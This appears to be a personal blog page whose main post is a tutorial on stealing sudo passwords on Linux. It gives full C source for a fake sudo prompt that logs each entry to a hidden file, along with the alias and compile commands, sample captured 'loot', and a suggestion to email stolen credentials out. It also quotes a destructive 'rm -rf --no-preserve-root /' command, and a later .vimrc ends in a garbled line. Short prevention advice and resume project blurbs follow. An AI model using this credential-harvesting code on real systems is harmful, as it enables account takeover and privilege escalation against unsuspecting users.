μblog

Stealing Passwords with Alias

Introduction

This article is intended to be a beginner-friendly and comprehensive approach to analyzing a simple cyber attack. In this case, we will be writing a malicious C program and swapping a commonly-used and critical program with our malicious program to mimick a password prompt. Our attack aims to fool a victim user into entering their password into our malicious program, which stores the input in a hidden text file to be retrieved by the attacker.

Things You Can Learn from this Article

  • What are computer privileges?
  • How are privileges enforced in a computer system?
  • What is privilege escalation?
  • Common usage of the Linux command-line
  • Tricking a user into giving away their password using fradulent programs
  • Using the C Programming Language to: * Emulate program input and output * Create and write to files
  • What is a Systems Administrator?
  • What is an Attack Surface?
  • What is an Attack Vector?

Why Steal passwords?

Managing who can do what on a computer is very important. No one wants an unwanted guest having complete access to their computer. For this reasons, computers have privileges in place to designate what actions a user may perform.

In Linux1, there is a “superuser” account which has unrestricted access to commands, files, directories, and resources.2 Most distributions3 of Linux allow non-superuser accounts to use the superuser’s abilities with the program sudo4.

The sudo program enables users to perform critical actions on the system from updating the packages (On debian-based distributions: sudo apt update) to even erasing every file on the system (sudo rm -rf --no-preserve-root /) to the point where the system can no longer run.

To use the sudo program, a user runs sudo followed by command or program they want to be run with superuser privileges, this usage be expressed as sudo [command or program]. For more detailed documentation on sudo as a program, you can view its manual online5 or run man sudo in a Linux command-line. After running the command, the user will be prompted to enter their password for using superuser privileges. Upon succesfully entering the password, sudo will run the command or program with superuser privileges.

Someone who wants to take over your Linux computer will want to obtain these superuser privileges. In cybersecurity, this is refered to as Privilege Escalation6. There’s many different ways you would achieve Privilege Escalation in a Linux system, stealing passwords is one of them.

How the Attack Will Be Done

In this scenario, we assume you are an attacker that has access to a user’s account but doesn’t know the user’s password for running sudo. There’s better more sophisticated ways7 of getting their password from this position as an attacker, though this method is simple and it tricks the victim user into supplying their credentials to a fraudulent program.

Some might consider this social engineering8, where an attacker convinces their victim to make unwise decisions. I would consider this attack the command-line equivalent of Evil Twin phishing9, as the user would not be able to distinguish the use of our malicious program from their typical use of sudo.

The premise of this attack is that any program found in the /usr/bin/ folder can be run without path /usr/bin/. Meaning, the sudo program that a user may use to elevate privileges can be found at /usr/bin/sudo. You can execute /usr/bin/sudo apt update -y the same as you would execute sudo apt update -y.

The alias command, found in most Linux systems, allows us to run any command under a specified alias. A common alias is alias ll='ls -alF', used to run a more detailed, vertical version of the ls command, which shows the contents of a certain directory. Assuming our fake program is located at /home/username/fakeprogram, we can alias ‘sudo’ to execute fakeprogram when the user means to run sudo.

This way, when they run sudo apt update, they will be running /home/username/fakeprogram apt update instead of /usr/bin/sudo.

In the example below, we use which sudo to determine where the sudo program is located in the system. We then alias the running of ‘sudo’ to run instead echo haha!, which simply outputs ‘haha!’ to the user’s command-line output. Running which sudo after aliasing ‘sudo’, we can see that the user wouldn’t suspect that the program sudo would be in a strange place. Rather, they would have to check their aliases using alias to find that they would be tricked into running a different program.

eric@ubuntu:~$ which sudo
/usr/bin/sudo
eric@ubuntu:~$ alias sudo='echo haha!'
eric@ubuntu:~$ which sudo
/usr/bin/sudo
eric@ubuntu:~$ alias
...
alias ll='ls -alF'
alias sudo='echo haha!'
eric@ubuntu:~$ sudo
haha!
eric@ubuntu:~$

Requirements for the Attack

  • Access to a sudo user’s command-line

    • You can be physically present at the computer or logged in remotely from a protocol such as SSH10, VNC11, or RDP12.
    • To check that the account has sudo privileges, you can run the command groups to find which groups the user is in. Typically, a user in either the ‘admin’, ‘wheel’, or ‘sudo’ group will have rights for sudo.
  • alias

    • This found in most Linux command-line interpreters.
  • The ability to write a program and execute it

    • In our case will be writing a program in C, compiling it with gcc, and executing the program.

Performing the Attack

A quick outline of the attack:

  1. Create a program to mimick the behavior of the sudo program
  2. Use alias to replace the usage of sudo with our fake program
  3. Wait for the victim to use our fake program.
  4. Collect the information obtained by our fake program.

Example Program for Attack

#eric@ubuntu:~$ cat fakesudo.c 
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
        char *password;
        int max_tries = 3;
        char prompt[100];
        sprintf(prompt, "[sudo] password for %s:", getlogin());

        FILE *file;
        file = fopen(".exfiltrated.txt","a");
        for(int i=0; i < max_tries; i++){
                password = getpass(prompt);
                fprintf(file,"%s:%s\n", getlogin(), password);
                printf("Sorry, try again.\n");
        }
        printf("sudo: %i incorrect password attempts\n",max_tries);
        fclose(file);

        return 0;// Safely Exit the Program
}

The above program creates a file named .exfiltrated.txt We place a “.” before the filename to indicate that we would like the file to be hidden. Hidden files and directories are only shown to users when specified through a command such as ls -a.

While prompting the user for their password to run sudo, we store their password input and write it to .exfiltrated.txt in the form of username:password. Even if user enters the ‘correct’ password, we pretend it’s invalid.

Now that the program is written, it’s time to compile the program, set the alias, wait for the victim to run sudo, then come back and read .exfiltrated.txt before anyone notices or the victim resets their password!

eric@ubuntu:~$ ls -a
.  ..  fakesudo.c
eric@ubuntu:~$ gcc fakesudo.c -o fakesudo # Compile program
eric@ubuntu:~$ alias sudo="/home/urza/fakesudo" # Set alias
eric@ubuntu:~$ sudo apt update # Victim runs fakesudo
[sudo] password for urza:
Sorry, try again.
[sudo] password for urza:
Sorry, try again.
[sudo] password for urza:
Sorry, try again.
sudo: 3 incorrect password attempts
eric@ubuntu:~$ ls -a # Show hidden and non-hidden files
.  ..  .exfiltrated.txt  fakesudo  fakesudo.c
eric@ubuntu:~$ cat .exfiltrated.txt # Show our loot! 
eric:password123
eric:Password123
eric:stupid computer, that IS my password!
eric@ubuntu:~$ 

Here we can see that the user entered ‘password123’, ‘Password123’, and ‘stupid computer, that IS my password!’ as their password when they were prompted as we can tell by the data stored inside of .exfiltrated.txt.

I must say, this attack is far from the best solution, as the user may become frustrated and decide to reset their password before you can apply your maliciously obtained knowledge. However, it never hurts to learn how your victim chooses their passwords. They may use the same password in other systems or services, (another good reason to use a password manager and use unique passwords! https://www.pcmag.com/picks/the-best-password-managers), which may give you more access you can leverage against your victim.

You may also choose to transmit the stolen credentials by writing a function to send the victim’s password to yourself via email, or however you wish to remotely send information to yourself from your victim’s computer.

Preventing this Attack

People who are responsible for maintaining the operation and integrity of a computer system and its contents are known as Systems Administrators, or ‘sysadmins’. It is up to people such as sysadmins to implement policies and rules in their systems to prevent undesired behavior. Sysadmins protect computer systems from malicious hackers, by limiting the ways an attacker can get into and abuse a system. These ways are known as attack surfaces and attack vectors.13

The requirements specified earlier for this attack can each be considered attack vectors, all of those vectors existing together can be considered an attack surface.

Let’s discuss how to prevent each of our attack vectors:

  1. Access to a sudo user’s command-line
    • When an attacker has command-line access, also known as a ‘shell’, it is generally assumed that your entire system is compromised. Commonly you’ll see security researchers find exploits in a system to ‘pop a shell’, or obtain command-line access. Having access to even non-superuser privileges in a shell is generally assumed that the attacker can leverage their abilities to obtain superuser privileges through methods such as our alias attack. Instituting policies to limit who should have physical access can prevent physical attacks, though, whether or not you should worry about this depends on what your system’s “threat model”14, or rather who you expect will try to attack you and how they will try to attack you.
    • Setting policies for remote access is usually handled by establishing a Firewall15 to determine which remote connections are appropriate for your system, as well as configuring your services such as SSH10 as found in the ‘/etc/’ folder. In the case of SSH, its configuration file is found at ‘/etc/ssh/sshd_config’, where you can disable users from logging in to the superuser ‘root’ account by setting the PermitRootLogin parameter to ‘no’.
  2. alias
    • While alias isn’t the most popular attack vector, since it assumes you already have a shell to do more sophisticated or common attacks, this askubuntu post16 goes into detail on how to prevent abuse of the alias program. To summarize that post’s information, the post suggests to establish a standard configuration for users’ shells, so that any potentially malicious configurations such as malicious aliases are erased before they can affect victims.
  3. Writing a program and executing it
    • You may have heard of “Read, Write, Execute”17 before. This describes users’ permissions in Linux systems. Every file and directory has permissions determining who can read its contents, write changes to its contents, and who can execute the files as programs. It is possible to set a whitelist of programs so that only certain programs can be executed, though that tends to be strict and if a user can’t be trusted to not write and execute malicious programs, it would probably be better to not let them be a user to begin with. This askubuntu post18 thoroughly covers the ways in which users can abuse their write and execute privileges, as well as methods to prevent these abuses.

Conclusion

There’s many ways to improve upon this attack. You could write it in a different programming language, be more discrete in stealing the information, however you see fit. My hope is that this article may has helped you learn more how malicious hackers operate, develop attacks, and how these attacks can be prevented.

Footnotes


  1. Wikipedia - Linux https://en.wikipedia.org/wiki/Linux ↩︎

  2. BeyondTrust - What are Superuser Accounts, & How do You Secure Them? https://www.beyondtrust.com/blog/entry/superuser-accounts-what-are-they-how-do-you-secure-them ↩︎

  3. Wikipedia - Linux Distribution https://en.wikipedia.org/wiki/Linux_distribution ↩︎

  4. Wikipedia - sudo https://en.wikipedia.org/wiki/Sudo ↩︎

  5. Sudo.ws - Sudo Manual https://www.sudo.ws/man/1.8.14/sudo.man.html ↩︎

  6. Wikipedia - Privilege Escalation https://en.wikipedia.org/wiki/Privilege_escalation ↩︎

  7. HackMag - Reach the root! How to gain privileges in Linux? https://hackmag.com/security/reach-the-root/ ↩︎

  8. CSO Online - Social engineering explained: How criminals exploit human behavior https://www.csoonline.com/article/2124681/what-is-social-engineering.html ↩︎

  9. Wikipedia - Evil Twin (wireless networks) https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks) ↩︎

  10. Wikipedia - SSH (Secure Shell) https://en.wikipedia.org/wiki/SSH_(Secure_Shell) ↩︎

  11. Wikipedia - Virtual Network Computing https://en.wikipedia.org/wiki/Virtual_Network_Computing ↩︎

  12. Cyberark - Explain Like I’m 5: Remote Desktop Protocol (RDP) https://www.cyberark.com/resources/threat-research-blog/explain-like-i-m-5-remote-desktop-protocol-rdp ↩︎

  13. Balbix - Attack Vector vs Attack Surface https://www.balbix.com/insights/attack-vector-vs-attack-surface/ ↩︎

  14. Wikipedia - Threat Model https://en.wikipedia.org/wiki/Threat_model ↩︎

  15. Wikipedia - Firewall (computing) https://en.wikipedia.org/wiki/Firewall_(computing) ↩︎

  16. Stackoverflow - Disallow Compromising Aliases https://askubuntu.com/questions/910226/disallow-compromising-aliases-functions-alias-cd-rm-rf ↩︎

  17. GeeksForGeeks - Linux Permissions https://www.geeksforgeeks.org/permissions-in-linux/ ↩︎

  18. AskUbuntu - Stoping Writing and Executing https://askubuntu.com/questions/1165175/is-there-any-way-to-stop-a-user-from-creating-executables-and-running-them ↩︎

My .vimrc

.vimrc is the file where you can configure how you want vim to run.

In your .vimrc file you can specify which vim plugins you use, which colorscheme, custom keybindings and various other neat configurations to make your vim experience the best it can be!

Since everyone has their own way of configuring the way they use vim, I thought I’d share mine with you:

.vimrc code

" Ensure vim-plug is installed
if empty(glob('~/.vim/autoload/plug.vim'))
  silent !curl -fLo ~/.vim/autoload/plug.vim --create-dirs
    \ https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
  autocmd VimEnter * PlugInstall --sync | source $MYVIMRC
endif

" vim-plug plugins
call plug#begin()
        Plug 'scrooloose/nerdtree'      " A built-in file browser!
        Plug 'tpope/vim-surround'       " Allows you to easily change surrounding characters
        Plug 'vim-airline/vim-airline'  " A very nice status line plugin!
        Plug 'vim-airline/vim-airline-themes'   " Themes for the very nice status line!
        Plug 'morhetz/gruvbox'          " One of my favorite color schemes!
call plug#end()

" Adds the line numbers to the left side and the ability to scroll through command options
set number
set wildmenu

" I like the gruvbox color theme in dark mode. The airline plugin supports gruvbox as well!
color gruvbox
set bg=dark
let g:rehash256 = 1
let g:airline#extensions#tabline#enabled = 1
let g:airline_powerline_fonts=1
let g:airline_theme='gruvbox'

" I use vim inside of Windows Terminal, and this lets me select/point with my mouse
" and scroll up and down the page with my scroll wheel.
set mouse=a
map <ScrollWheelUp> <C-Y>
map <ScrollWheelDown> <C-E>

" Automatically close brackets/parenthesis
inoremap " ""<left>
inoremap ' ''<left>
inoremap ( ()<left>
inoremap [ []<left>
inoremap { {}<left>
inoremap {<CR> {<CR>}<ESC>O
inoremap {;<CR> {<CR>};<ESC>O

" Press F9 to save and run python code
autocmd FileType python map <buffer> <F9> :w<CR>:exec '!python3' shellescape(@%, 1)<CR>
autocmd FileType python imap <buffer> <F9> <esc>:w<CR>:exec '!python3' shellescape(@%, 1)<CR>)'')''"}}}}}}]]))'''""""""''"")"''"''"''"''"'')"''))"

Website Under Construction

Thank you for visiting! I’ve added projects from my resume to this website as blog posts which you can read either here on the homepage or in the posts tab.

I will be revising the blog posts to elaborate and add more details as right now they’re using the project descriptions from my resume.

Another post coming soon will explain how I made this website using Hugo and Netlify!

Thanks for reading and have a wonderful day!

Proxmox Virtualization Environment Host Node

February 2020

Installed the Proxmox VE operating system onto a desktop computer to act as a host node. Created LXC (Linux container) templates. Utilized containers to host web servers, Linux shells for friends, Discord chat bots, and Minecraft servers.

Arduino Digital Clock

December 2019

Programmed an Arduino to display the four digits of a digital clock onto a four-digit seven segment display. Implemented a circuit of two pushbuttons to be able to adjust the time by incrementing or decrementing the value due to the lack of a hardware clock and internet access to access an internet clock.

RFID Card Attendance Scanner

December 2019

Developed a C program for a Texas Instruments TIVA LaunchPad Embedded Systems Board to interface with an RFID Card Reader to take attendance by scanning student ID cards. Implemented python script to send attendance list email.

Bogo Sort Bot

November 2019

Programmed a Raspberry Pi using Python and Linux tools to continuously attempt to sort a randomly generated list of numbers using the Bogo Sort sorting algorithm. Upon successfully sorting the list, subscribers in a mailing list were emailed the statistics and duration of the sorting process.

Raspberry Pi Robot Arm Surveillance Camera

November 2018

Programmed a Raspberry Pi that controlled a web camera mounted on a servo-motor robot arm. Implemented the ability to view a live feed, capture images, record video and control the servo arm over SSH

Seinfeld Theme Door Sensor

November 2018

Constructed a circuit using an Arduino, ultrasonic sensor, and Adafruit MP3 Shield to play a randomly selected MP3 file when the ultrasonic sensor data deduced that an individual entered the room.

Password Dump Parser

May 2018

Developed a Java program that generates statistics of publicly known password dumps to identify patterns in passwords. The statistics are used to educate the public about vulnerable passwords.

Fan Baseball Cap

July 2017

Mounted, soldered and wired a computer fan to the bill of a baseball cap to blow air on the wearer’s face. The computer fan was soldered to an on/off switch and 4xAA battery power supply.

Bike Hub Electromagnetic Generator

June 2015

Implemented an electromagnetic generator in a bicycle hub for charging a mobile device while the bicycle is being ridden.

Electromagnetic Generator

March 2012

Crafted a generator with RadioShack magnets and copper wire mounted to Plexiglas panels cut with a rotary saw, wire saw, deburring tool and sandpaper. Soldered diode to metal pins soldered to copper wire. Diode is powered when the magnets are spun inside copper wire coil.